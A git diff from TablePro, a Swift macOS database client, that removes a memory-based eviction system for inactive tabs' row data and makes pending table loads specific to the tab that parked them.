@@ -1,31 +0,0 @@
-import Testing
-
-@testable import TableProUtilities
-
-@MainActor
-struct MemoryPressureAdvisorTests {
-    @Test("budget returns positive value")
-    func budgetPositive() {
-        let budget = MemoryPressureAdvisor.budgetForInactiveTabs()
-        #expect(budget >= 2)
-        #expect(budget <= 8)
-    }
-
-    @Test("memory estimation for typical tab")
-    func typicalTabEstimate() {
-        let bytes = MemoryPressureAdvisor.estimatedFootprint(rowCount: 1_000, columnCount: 10)
-        #expect(bytes == 640_000)
-    }
-
-    @Test("memory estimation for empty tab")
-    func emptyTabEstimate() {
-        let bytes = MemoryPressureAdvisor.estimatedFootprint(rowCount: 0, columnCount: 10)
-        #expect(bytes == 0)
-    }
-
-    @Test("memory estimation for large tab")
-    func largeTabEstimate() {
-        let bytes = MemoryPressureAdvisor.estimatedFootprint(rowCount: 50_000, columnCount: 20)
-        #expect(bytes == 64_000_000)
-    }
-}
diff --git a/apple/TablePro/Core/Diagnostics/TabSwitchTrace.swift b/apple/TablePro/Core/Diagnostics/TabSwitchTrace.swift
index 815d794304..ec160af1d6 100644
--- a/apple/TablePro/Core/Diagnostics/TabSwitchTrace.swift
+++ b/apple/TablePro/Core/Diagnostics/TabSwitchTrace.swift
@@ -12,7 +12,7 @@ internal enum TabSwitchTrigger: String, Sendable {
     case tabStrip
 }
 
-// requery: the memory budget dropped the rows. firstLoad: restored from the last session, never shown since.
+// requery: TablePro changed the table since the rows were read. firstLoad: restored from the last session, never shown since.
 internal enum TabSwitchRows: String, Sendable {
     case resident
     case requery
diff --git a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
index d5e220c969..7b74595818 100644
--- a/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/MainSplitViewController.swift
@@ -650,15 +650,8 @@ internal final class MainSplitViewController: NSSplitViewController {
     /// Switching workspace repaints the window in place. The rail used to raise a different
     /// window instead, which is what made several connections mean several windows.
     internal func applySelectedWorkspace() {
-        /// Switching workspace is this window's key-window change as far as a coordinator is
-        /// concerned. Only the selected one receives the real `windowDidBecomeKey`, so without
-        /// this the outgoing connection keeps `isKeyWindow` true and never schedules the eviction
-        /// that frees its row buffers.
-        ///
-        /// The outgoing side is read from each coordinator rather than from `lastActiveCoordinator`,
-        /// which only a switch sets. The window's first connection is made key by the window itself,
-        /// so the first switch away from it found no cached coordinator to resign: it kept
-        /// `isKeyWindow` and never scheduled the eviction.
+        // Only the selected connection gets the real windowDidBecomeKey, so a switch hands key status over itself.
+        // Each coordinator is asked, not `lastActiveCoordinator`: the window made its first connection key without a switch.
         let incoming = workspaces.selected?.sessionState?.coordinator
         var handedOffKey = false
         for workspace in workspaces.workspaces {
@@ -668,10 +661,7 @@ internal final class MainSplitViewController: NSSplitViewController {
             coordinator.handleWindowDidResignKey()
             handedOffKey = true
         }
-        /// Key status is handed over, never invented. A window that is not key can still change its
-        /// selection, and marking that connection key kept its row eviction from ever being
-        /// scheduled and let a deferred restore load in a window nobody was looking at. The real
-        /// `windowDidBecomeKey` reaches whichever connection is selected when the window comes forward.
+        // Handed over, never invented: marking a connection key in a background window ran its deferred restore load unseen.
         if lastActiveCoordinator !== incoming {
             if handedOffKey || view.window?.isKeyWindow == true {
                 incoming?.handleWindowDidBecomeKey()
diff --git a/apple/TablePro/Core/Services/Infrastructure/PostLaunchWork.swift b/apple/TablePro/Core/Services/Infrastructure/PostLaunchWork.swift
index c85b3461fe..055a6197b2 100644
--- a/apple/TablePro/Core/Services/Infrastructure/PostLaunchWork.swift
+++ b/apple/TablePro/Core/Services/Infrastructure/PostLaunchWork.swift
@@ -1,6 +1,5 @@
 import Foundation
 import os
-import TableProUtilities
 
 /// The subsystem work a launch has to do but the first window does not need.
 ///
@@ -28,8 +27,6 @@ internal enum PostLaunchWork {
         hasStarted = true
         logger.debug("post-launch work starting")
 
-        MemoryPressureAdvisor.startMonitoring()
-
         Task { await PluginManager.shared.sweepPluginSignatures() }
         Task { await QueryHistoryManager.shared.performStartupCleanup() }
 
diff --git a/apple/TablePro/Models/Query/QueryTab.swift b/apple/TablePro/Models/Query/QueryTab.swift
index bdcbb9fc3d..072966f0b8 100644
--- a/apple/TablePro/Models/Query/QueryTab.swift
+++ b/apple/TablePro/Models/Query/QueryTab.swift
@@ -71,7 +71,6 @@ struct QueryTab: Identifiable, Equatable {
     var schemaVersion: Int
     var metadataVersion: Int
     var paginationVersion: Int
-    var loadEpoch: Int = 0
 
     var pendingRestoredSort: [PersistedSortColumn]?
     // Held until the first load resolves the columns.
@@ -155,7 +154,6 @@ struct QueryTab: Identifiable, Equatable {
         self.schemaVersion = 0
         self.metadataVersion = 0
         self.paginationVersion = 0
-        self.loadEpoch = 0
         self.pendingRestoredSort = nil
         self.restoredSortSource = .unset
         self.restoredPage = nil
@@ -210,7 +208,6 @@ struct QueryTab: Identifiable, Equatable {
         self.schemaVersion = 0
         self.metadataVersion = 0
         self.paginationVersion = 0
-        self.loadEpoch = 0
         self.pendingRestoredSort = persisted.sortColumns
         // A file from before sortSource decodes to its old behaviour: saved columns were the user's, none meant undecided.
         self.restoredSortSource = persisted.sortSource
@@ -387,6 +384,5 @@ struct QueryTab: Identifiable, Equatable {
             && lhs.isPreview == rhs.isPreview
             && lhs.isPinned == rhs.isPinned
             && lhs.hasUserInteraction == rhs.hasUserInteraction
-            && lhs.loadEpoch == rhs.loadEpoch
     }
 }
diff --git a/apple/TablePro/Models/Query/TabSession.swift b/apple/TablePro/Models/Query/TabSession.swift
index 9038cd12f8..7d926a3d79 100644
--- a/apple/TablePro/Models/Query/TabSession.swift
+++ b/apple/TablePro/Models/Query/TabSession.swift
@@ -24,7 +24,6 @@ final class TabSession: ObservableObject, Identifiable {
     let id: UUID
 
     @Published var tableRows: TableRows
-    @Published var isEvicted: Bool
 
     /// Bumped by `TabSessionRegistry` on every mutation of `tableRows`. `TableRows` is a
     /// value type with no `Equatable` conformance, so views that derive expensive content
@@ -48,15 +47,13 @@ final class TabSession: ObservableObject, Identifiable {
     var viewportStage: GridViewportStage?
 
     /// Whether the table changed after these rows, or the definition they were read with, were
-    /// fetched. Unlike eviction the rows stay, so the grid goes on showing them until the reload
-    /// commits over them, and a tab whose last result was empty can be marked too. Not published:
-    /// nothing draws it.
+    /// fetched. The rows stay, so the grid goes on showing them until the reload commits over them,
+    /// and a tab whose last result was empty can be marked too. Not published: nothing draws it.
     var freshness: TableFreshness
 
     init(id: UUID = UUID()) {
         self.id = id
         self.tableRows = TableRows()
-        self.isEvicted = false
         self.freshness = TableFreshness()
         self.dataRevision = 0
         self.bufferEpoch = 0
diff --git a/apple/TablePro/Models/Query/TabSessionRegistry.swift b/apple/TablePro/Models/Query/TabSessionRegistry.swift
index 6479ac81b0..6b2429bd89 100644
--- a/apple/TablePro/Models/Query/TabSessionRegistry.swift
+++ b/apple/TablePro/Models/Query/TabSessionRegistry.swift
@@ -40,29 +40,17 @@ final class TabSessionRegistry {
     func setTableRows(_ rows: TableRows, for tabId: UUID) {
         let session = ensureSession(for: tabId)
         session.tableRows = rows
-        session.isEvicted = false
         session.dataRevision &+= 1
         session.bufferEpoch &+= 1
         session.rowSetRevision &+= 1
     }
 
-    /// A mutation of what the tab already holds, so it cannot resurrect a tab that holds nothing.
-    ///
-    /// Phase-2 metadata (foreign keys, defaults, enum values) lands at background priority long
-    /// after the load that asked for it, and it is keyed on the result rather than on the rows, so
-    /// it arrives on tabs that were evicted while it was in flight. Clearing `isEvicted` for a
-    /// mutation that leaves the buffer empty leaves a tab with no rows that `canAutoLoadTableTab`
-    /// reads as already loaded, and eviction cannot re-mark it because it has nothing left to lose:
-    /// the grid stays empty until an explicit refresh.
     @discardableResult
     func updateTableRows(for tabId: UUID, _ mutate: (inout TableRows) -> Delta) -> Delta {
         let session = ensureSession(for: tabId)
         var rows = session.tableRows
         let delta = mutate(&rows)
         session.tableRows = rows
-        if !rows.rows.isEmpty {
-            session.isEvicted = false
-        }
         session.dataRevision &+= 1
         if delta.changesRowSet {
             session.rowSetRevision &+= 1
@@ -73,26 +61,6 @@ final class TabSessionRegistry {
     func removeTableRows(for tabId: UUID) {
         guard let session = sessions[tabId] else { return }
         session.tableRows = TableRows()
-        session.isEvicted = false
-        session.dataRevision &+= 1
-        session.bufferEpoch &+= 1
-        session.rowSetRevision &+= 1
-    }
-
-    func isEvicted(_ tabId: UUID) -> Bool {
-        sessions[tabId]?.isEvicted ?? false
-    }
-
-    /// Drops a tab's rows and marks it evicted. Getting them back is the caller's job: SwiftUI's
-    /// `.task(id:)` keys on `QueryTab.loadEpoch`, so a caller that wants the lazy load to re-fire
-    /// bumps that itself.
-    ///
-    /// A tab with no rows is left alone, so eviction never marks a tab that has nothing to lose.
-    func evict(for tabId: UUID) {
-        guard let session = sessions[tabId] else { return }
-        guard !session.tableRows.rows.isEmpty else { return }
-        session.tableRows.discardRowsKeepingMetadata()
-        session.isEvicted = true
         session.dataRevision &+= 1
         session.bufferEpoch &+= 1
         session.rowSetRevision &+= 1
@@ -109,8 +77,7 @@ final class TabSessionRegistry {
     }
 
     /// Records that the tab's table changed. Nothing is discarded, and a tab holding no rows is
-    /// marked all the same: an empty collection that gains its first document is exactly the tab
-    /// eviction refuses.
+    /// marked all the same: an empty collection can gain its first document.
     func recordChange(_ change: TableFreshness.Change, for tabId: UUID) {
         ensureSession(for: tabId).freshness.record(change)
     }
diff --git a/apple/TablePro/Models/Query/TableLoadTrigger.swift b/apple/TablePro/Models/Query/TableLoadTrigger.swift
index 240a04661d..744f343fd2 100644
--- a/apple/TablePro/Models/Query/TableLoadTrigger.swift
+++ b/apple/TablePro/Models/Query/TableLoadTrigger.swift
@@ -9,3 +9,9 @@ internal enum TableLoadTrigger {
     case userInitiated
     case restore
 }
+
+// Keyed by tab: a window-wide trigger was consumed against whatever tab was selected when the connection came back.
+internal struct ParkedTableLoad: Equatable {
+    let tabId: UUID
+    let trigger: TableLoadTrigger
+}
diff --git a/apple/TablePro/Models/Query/TableRows.swift b/apple/TablePro/Models/Query/TableRows.swift
index 852751660b..b09235c46c 100644
--- a/apple/TablePro/Models/Query/TableRows.swift
+++ b/apple/TablePro/Models/Query/TableRows.swift
@@ -174,13 +174,6 @@ struct TableRows: Sendable {
         rowLocators[id]
     }
 
-    /// Releases the row payload while keeping the schema needed to render and reload the table.
-    mutating func discardRowsKeepingMetadata() {
-        rows = []
-        indexByID = [:]
-        rowLocators = [:]
-    }
-
     /// Writes a value into a cell, or with `isAbsent` takes the field out of the row. A value
     /// written into a missing field puts the field back.
     @discardableResult
diff --git a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
index 366fd67835..dda24f010d 100644
--- a/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
+++ b/apple/TablePro/Views/Main/Child/MainEditorContentView.swift
@@ -11,12 +11,6 @@ import SwiftUI
 import TableProEditorKit
 import TableProPluginKit
 
-// A change to either field cancels the old task and starts a new one, which coalesces rapid Cmd+Number switches.
-private struct TabLoadKey: Hashable {
-    let tabId: UUID?
-    let loadEpoch: Int
-}
-
 // Only a tab showing rows reruns: an error, a plan or a write's count is not a view of the new database's data.
 @MainActor
 internal enum ContainerChangeRerunPolicy {
@@ -169,10 +163,7 @@ struct MainEditorContentView: View {
         .onAppear {
             updateHasQueryText()
         }
-        .task(id: TabLoadKey(
-            tabId: tabManager.selectedTabId,
-            loadEpoch: tabManager.selectedTab?.loadEpoch ?? 0
-        )) {
+        .task(id: tabManager.selectedTabId) {
             coordinator.lazyLoadCurrentTabIfNeeded()
         }
     }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift
index 268fc780cf..ad9c2ffc2a 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+GridModels.swift
@@ -235,9 +235,9 @@ extension MainContentCoordinator {
         dataGridEntries[tabId]?.displayInputs = inputs
     }
 
-    // Each model holds a whole result's formatted text, so only the tabs in use keep theirs.
+    // The only memory a tab switch releases: formatted text, rebuilt per drawn cell. Rows stay until the user replaces them.
     func pruneGridDisplayCaches() {
-        let budget = MemoryPressureAdvisor.budgetForInactiveTabs() + 1
+        let budget = GridDisplayCacheBudget.unmountedGrids() + 1
         guard dataGridEntries.count > budget else { return }
         let ordered = dataGridEntries.sorted { $0.value.lastUsed > $1.value.lastUsed }
         for (tabId, entry) in ordered.dropFirst(budget) where !entry.model.isMounted {
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryHelpers.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryHelpers.swift
index fd76bf1db0..1ca309a771 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryHelpers.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryHelpers.swift
@@ -76,7 +76,7 @@ extension MainContentCoordinator {
             return
         }
         if isAutoLoad, services.databaseManager.driver(for: connectionId)?.status != .connected {
-            pendingLoadTrigger = trigger
+            parkedTableLoad = ParkedTableLoad(tabId: tabId, trigger: trigger)
             return
         }
         handleQueryExecutionError(error, sql: sql, tabId: tabId, connection: conn, serverOutput: serverOutput)
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryTasks.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryTasks.swift
index eae085f421..e3cfd3d489 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryTasks.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QueryTasks.swift
@@ -24,7 +24,7 @@ extension MainContentCoordinator {
             traceConnectUnavailable(traceToken)
             guard tabExecution.settle(claim) else { return false }
             retireQueryTask(.claim(claim))
-            pendingLoadTrigger = trigger
+            parkedTableLoad = ParkedTableLoad(tabId: claim.tabId, trigger: trigger)
             declineTableLoad(for: claim.tabId)
             return false
         }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+ResultEditing.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+ResultEditing.swift
index 47db884572..3062fb2c1a 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+ResultEditing.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+ResultEditing.swift
@@ -29,9 +29,11 @@ extension MainContentCoordinator {
     /// two. They all read this now.
     var canEditActiveResult: Bool {
         guard let tab = tabManager.selectedTab else { return false }
+        // A claimed execution replaces these rows and clears whatever was staged on them meanwhile, as the data files grid does when busy.
         return tab.tableContext.isEditable
             && tab.tableContext.allowsRowEditing
             && !safeModeLevel.blocksAllWrites
             && activeResultEditRefusal == nil
+            && !tabExecution.isExecuting(tab.id)
     }
 }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift
index b7a0bf9b78..d79285c440 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabRestore.swift
@@ -37,7 +37,7 @@ extension MainContentCoordinator {
         }
 
         guard let session = DatabaseManager.shared.activeSessions[connection.id], session.isConnected else {
-            if isTableTab { pendingLoadTrigger = .restore }
+            if isTableTab { parkedTableLoad = ParkedTableLoad(tabId: selected.id, trigger: .restore) }
             return
         }
 
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabSwitch.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabSwitch.swift
index d89a25e631..00257963f2 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabSwitch.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TabSwitch.swift
@@ -9,7 +9,6 @@
 import Foundation
 import os
 import TableProEditorKit
-import TableProUtilities
 
 extension MainContentCoordinator {
     func handleTabChange(
@@ -63,13 +62,9 @@ extension MainContentCoordinator {
         }
         let saveMs = Int(Date().timeIntervalSince(saveStart) * 1_000)
 
-        // Deferred a tick: the sort and budget calculation is costly with many open tabs.
-        if tabManager.tabs.count > 2 {
-            let activeIds: Set<UUID> = Set([oldTabId, newTabId].compactMap { $0 })
-            Task { @MainActor [weak self] in
-                self?.evictInactiveTabs(excluding: activeIds)
-                self?.pruneGridDisplayCaches()
-            }
+        // Deferred a tick: releasing a large formatted cache is not work the switch should wait on.
+        Task { @MainActor [weak self] in
+            self?.pruneGridDisplayCaches()
         }
 
         let restoreStart = Date()
@@ -117,11 +112,11 @@ extension MainContentCoordinator {
             )
 
             // No `reloadVersion` bump: it is window-wide, and bumping it on a switch re-formatted the incoming grid's whole result (#2424).
-            let needsReload = needsRowReload(newId)
+            let isStale = tabSessionRegistry.isStale(newId)
             lazyLoadCurrentTabIfNeeded()
             TabSwitchTracer.shared.selectionApplied(
                 tabId: newId,
-                rows: TabSwitchRows(loads: isLoadingRows(newId), needsReload: needsReload),
+                rows: TabSwitchRows(loads: isLoadingRows(newId), needsReload: isStale),
                 window: contentWindow,
                 isShowing: { [weak manager = tabManager] in manager?.isShowing(newId) ?? false }
             )
@@ -153,14 +148,10 @@ extension MainContentCoordinator {
         guard let tab = tabManager.tabs.first(where: { $0.id == tabId }) else { return .resident }
         return TabSwitchRows(
             loads: isLoadingRows(tabId) || canAutoLoadTableTab(tab),
-            needsReload: needsRowReload(tabId)
+            needsReload: tabSessionRegistry.isStale(tabId)
         )
     }
 
-    private func needsRowReload(_ tabId: UUID) -> Bool {
-        tabSessionRegistry.isEvicted(tabId) || tabSessionRegistry.isStale(tabId)
-    }
-
     // Only a traced load reports its end; a multi-statement run does not, and would hold the switch open.
     private func isLoadingRows(_ tabId: UUID) -> Bool {
         TableLoadTracer.shared.activeToken(for: tabId) != nil
@@ -185,84 +176,4 @@ extension MainContentCoordinator {
         guard let tabId = tabManager.selectedTabId else { return false }
         return tabExecution.isExecuting(tabId)
     }
-
-    // Must agree with `canAutoLoadTableTab`: a tab evicted with no route back to its rows shows an empty grid until refreshed.
-    func canEvictReloadableTableRows(_ tab: QueryTab) -> Bool {
-        guard tab.id != tabManager.selectedTabId,
-              tab.tabType == .table,
-              tab.execution.errorMessage == nil,
-              tab.content.query.contains(where: { !$0.isWhitespace }),
-              !tab.pendingChanges.hasChanges,
-              !tab.display.hasPinnedResults,
-              !tab.pagination.isLoading,
-              !tab.pagination.isLoadingMore,
-              !tabExecution.isBusy(tab.id),
-              tableLoadTasks[tab.id] == nil,
-              !tabSessionRegistry.isEvicted(tab.id),
-              let rows = tabSessionRegistry.existingTableRows(for: tab.id),
-              !rows.rows.isEmpty
-        else { return false }
-        return true
-    }
-
-    @discardableResult
-    func evictReloadableTableRows(for tabId: UUID) -> Bool {
-        guard let index = tabManager.tabs.firstIndex(where: { $0.id == tabId }),
-              canEvictReloadableTableRows(tabManager.tabs[index])
-        else { return false }
-
-        tabManager.mutate(at: index) { tab in
-            for resultSet in tab.display.resultSets where !resultSet.isPinned {
-                resultSet.tableRows.discardRowsKeepingMetadata()
-            }
-            tab.loadEpoch &+= 1
-        }
-        tabSessionRegistry.evict(for: tabId)
-        reloadGridModel(forTab: tabId)
-        return true
-    }
-
-    func evictInactiveTabs(excluding activeTabIds: Set<UUID>) {
-        let start = Date()
-        let candidates: [(tab: QueryTab, rows: TableRows)] = tabManager.tabs.compactMap { tab in
-            guard !activeTabIds.contains(tab.id),
-                  tab.execution.lastExecutedAt != nil,
-                  canEvictReloadableTableRows(tab),
-                  let rows = tabSessionRegistry.existingTableRows(for: tab.id)
-            else { return nil }
-            return (tab, rows)
-        }
-
-        let sorted = candidates.sorted {
-            let t0 = $0.tab.execution.lastExecutedAt ?? .distantFuture
-            let t1 = $1.tab.execution.lastExecutedAt ?? .distantFuture
-            if t0 != t1 { return t0 < t1 }
-            let size0 = MemoryPressureAdvisor.estimatedFootprint(
-                rowCount: $0.rows.rows.count,
-                columnCount: $0.rows.columns.count
-            )
-            let size1 = MemoryPressureAdvisor.estimatedFootprint(
-                rowCount: $1.rows.rows.count,
-                columnCount: $1.rows.columns.count
-            )
-            return size0 > size1
-        }
-
-        let maxInactiveLoaded = MemoryPressureAdvisor.budgetForInactiveTabs()
-        guard sorted.count > maxInactiveLoaded else {
-            Self.lifecycleLogger.debug(
-                "[switch] evictInactiveTabs no-op candidates=\(sorted.count) budget=\(maxInactiveLoaded) elapsedMs=\(Int(Date().timeIntervalSince(start) * 1_000))"
-            )
-            return
-        }
-        let toEvict = sorted.dropLast(maxInactiveLoaded)
-
-        var evicted = 0
-        for entry in toEvict {
-            if evictReloadableTableRows(for: entry.tab.id) { evicted += 1 }
-        }
-        Self.lifecycleLogger.debug(
-            "[switch] evictInactiveTabs evicted=\(evicted) attempted=\(toEvict.count) candidates=\(sorted.count) keptInactive=\(maxInactiveLoaded) elapsedMs=\(Int(Date().timeIntervalSince(start) * 1_000))"
-        )
-    }
 }
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift
index 74b9acd5d0..66afcadb7a 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+TableRowsRefresh.swift
@@ -119,10 +119,18 @@ extension MainContentCoordinator {
 
     private var selectedTabRefreshState: TableRowsRefreshPlan.SelectedTabState? {
         guard let tab = tabManager.selectedTab else { return nil }
-        let holdsEdits = changeManager.hasChanges
-            || tab.pendingChanges.hasChanges
-            || isEditingActiveGrid
-        return TableRowsRefreshPlan.SelectedTabState(id: tab.id, holdsEdits: holdsEdits, load: selectedTabLoad(tab.id))
+        return TableRowsRefreshPlan.SelectedTabState(
+            id: tab.id,
+            holdsEdits: holdsUnsavedWork(tab),
+            load: selectedTabLoad(tab.id)
+        )
+    }
+
+    // The one answer for every reload path, the lazy load included: an open cell counts, or a reload drops what is typed in it.
+    func holdsUnsavedWork(_ tab: QueryTab) -> Bool {
+        if tab.pendingChanges.hasChanges { return true }
+        guard tab.id == changeManagerTabId else { return false }
+        return changeManager.hasChanges || isEditingActiveGrid
     }
 
     private func selectedTabLoad(_ tabId: UUID) -> TableRowsRefreshPlan.SelectedTabLoad {
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+WindowLifecycle.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+WindowLifecycle.swift
index d19feeaa42..da40de84c0 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+WindowLifecycle.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+WindowLifecycle.swift
@@ -20,8 +20,6 @@ extension MainContentCoordinator {
             "[switch] coordinator.handleWindowDidBecomeKey connId=\(self.connectionId, privacy: .public) selectedTabId=\(self.tabManager.selectedTabId?.uuidString ?? "nil", privacy: .public)"
         )
         isKeyWindow = true
-        evictionTask?.cancel()
-        evictionTask = nil
 
         consumeDeferredRestoreLoadIfNeeded()
         refreshSourceFileDiskChanges()
@@ -40,16 +38,6 @@ extension MainContentCoordinator {
             "[switch] coordinator.handleWindowDidResignKey connId=\(self.connectionId, privacy: .public)"
         )
         isKeyWindow = false
-
-        evictionTask?.cancel()
-        evictionTask = Task { [weak self] in
-            try? await Task.sleep(for: .seconds(5))
-            guard let self, !Task.isCancelled else { return }
-            Self.lifecycleLogger.debug(
-                "[switch] coordinator evictInactiveRowData firing (5s after resignKey) connId=\(self.connectionId, privacy: .public)"
-            )
-            self.evictInactiveRowData()
-        }
     }
 
     // Synchronous on purpose: no grace period, no delayed Task.
@@ -65,9 +53,6 @@ extension MainContentCoordinator {
             persistence.saveAggregatedSync()
         }
 
-        evictionTask?.cancel()
-        evictionTask = nil
-
         trailingPaneState?.teardown()
 
         teardown()
@@ -175,7 +160,7 @@ extension MainContentCoordinator {
               session.isConnected else {
             tracer.anomaly(.connectionNotReady, token: traceToken)
             tracer.finish(token: traceToken, outcome: .notConnected)
-            pendingLoadTrigger = trigger
+            parkedTableLoad = ParkedTableLoad(tabId: tab.id, trigger: trigger)
             declineTableLoad(for: tab.id)
             return
         }
@@ -211,19 +196,25 @@ extension MainContentCoordinator {
         lazyLoadCurrentTabIfNeeded(trigger: .restore)
     }
 
+    // The parked trigger goes only to the tab that parked it: run against another selected tab, it executed a query tab's SQL.
+    func loadSelectedTableTabAfterConnect() {
+        let parked = parkedTableLoad
+        parkedTableLoad = nil
+        let trigger = parked.flatMap { $0.tabId == tabManager.selectedTabId ? $0.trigger : nil }
+        lazyLoadCurrentTabIfNeeded(trigger: trigger ?? .userInitiated)
+    }
+
+    // Rows a tab holds stay until the user asks for others; only a first load or a change TablePro made to the table loads here.
     func canAutoLoadTableTab(_ tab: QueryTab) -> Bool {
         guard tab.tabType == .table else { return false }
         guard tab.execution.errorMessage == nil else { return false }
         guard !tab.content.query.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty else { return false }
 
-        let rows = tabSessionRegistry.tableRows(for: tab.id)
-        let needsReload = tabSessionRegistry.isEvicted(tab.id) || tabSessionRegistry.isStale(tab.id)
-        let hasFreshRows = !rows.rows.isEmpty && !needsReload
-        let hasExecuted = tab.execution.lastExecutedAt != nil && !needsReload
-        guard !hasFreshRows, !hasExecuted else { return false }
+        let hasLoaded = tab.execution.lastExecutedAt != nil
+            || !tabSessionRegistry.tableRows(for: tab.id).rows.isEmpty
+        guard !hasLoaded || tabSessionRegistry.isStale(tab.id) else { return false }
 
-        let hasPendingEdits = changeManager.hasChanges || tab.pendingChanges.hasChanges
-        return !hasPendingEdits
+        return !holdsUnsavedWork(tab)
     }
 
     private func clearAbandonedExecutingFlagIfNeeded(for tab: QueryTab) {
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift
index 4885f746c6..5e148f871e 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentView+Helpers.swift
@@ -31,17 +31,7 @@ extension MainContentView {
         let sessions = DatabaseManager.shared.activeSessions
         guard let session = sessions[connection.id] else { return }
         if session.isConnected {
-            if let trigger = coordinator.pendingLoadTrigger {
-                let hasPendingEdits =
-                    changeManager.hasChanges
-                    || (tabManager.selectedTab?.pendingChanges.hasChanges ?? false)
-                if !hasPendingEdits {
-                    coordinator.pendingLoadTrigger = nil
-                    consumePendingLoad(trigger: trigger)
-                }
-            } else {
-                coordinator.lazyLoadCurrentTabIfNeeded()
-            }
+            coordinator.loadSelectedTableTabAfterConnect()
         }
         toolbarState.updateConnectionState(from: session.reportedStatus)
         toolbarState.syncFromSession(for: connection)
@@ -55,17 +45,6 @@ extension MainContentView {
         )
     }
 
-    private func consumePendingLoad(trigger: TableLoadTrigger) {
-        if let tabId = tabManager.selectedTab?.id {
-            coordinator.resolveTableTabSchemaIfNeeded(tabId: tabId)
-        }
-        if tabManager.selectedTab?.tabType == .table {
-            coordinator.lazyLoadCurrentTabIfNeeded(trigger: trigger)
-        } else {
-            coordinator.runQuery(viewport: .firstRow, trigger: trigger)
-        }
-    }
-
     // MARK: - Inspector Context
 
     func scheduleInspectorUpdate() {
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift b/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift
index 6d1c4b77d1..84b9a6e042 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentView+Setup.swift
@@ -68,7 +68,7 @@ extension MainContentView {
         if let session = DatabaseManager.shared.activeSessions[connection.id], session.isConnected {
             coordinator.lazyLoadCurrentTabIfNeeded()
         } else {
-            coordinator.pendingLoadTrigger = .userInitiated
+            coordinator.parkedTableLoad = ParkedTableLoad(tabId: selectedTab.id, trigger: .userInitiated)
         }
     }
 
diff --git a/apple/TablePro/Views/Main/MainContentCoordinator.swift b/apple/TablePro/Views/Main/MainContentCoordinator.swift
index c293e1242e..8659645d71 100644
--- a/apple/TablePro/Views/Main/MainContentCoordinator.swift
+++ b/apple/TablePro/Views/Main/MainContentCoordinator.swift
@@ -272,7 +272,7 @@ final class MainContentCoordinator: ObservableObject {
     @Published var exportFormatId: String?
     // Kept after the sheet closes, so reopening Search Database after opening a result shows the results again.
     var databaseSearchSession: DatabaseSearchSession?
-    @Published var pendingLoadTrigger: TableLoadTrigger?
+    var parkedTableLoad: ParkedTableLoad?
     var deferredRestoreLoadTabId: UUID?
 
     var displayFormatsCache: [UUID: DisplayFormatsCacheEntry] = [:]
@@ -373,9 +373,6 @@ final class MainContentCoordinator: ObservableObject {
     // Updated by TabWindowController; read by event handlers such as the sidebar table-selection filter.
     var isKeyWindow = false
 
-    // Scheduled in `handleWindowDidResignKey`, fires 5s later.
-    var evictionTask: Task<Void, Never>?
-
     var refreshCoalesceTask: Task<Void, Never>?
     var refreshPendingTrailing = false
 
@@ -576,13 +573,6 @@ final class MainContentCoordinator: ObservableObject {
         }
     }()
 
-    // Called on resign key. The selected tab keeps its rows; `canEvictReloadableTableRows` keeps tabs that can't reload themselves.
-    func evictInactiveRowData() {
-        for tab in tabManager.tabs {
-            evictReloadableTableRows(for: tab.id)
-        }
-    }
-
     // MARK: - Initialization
 
     init(
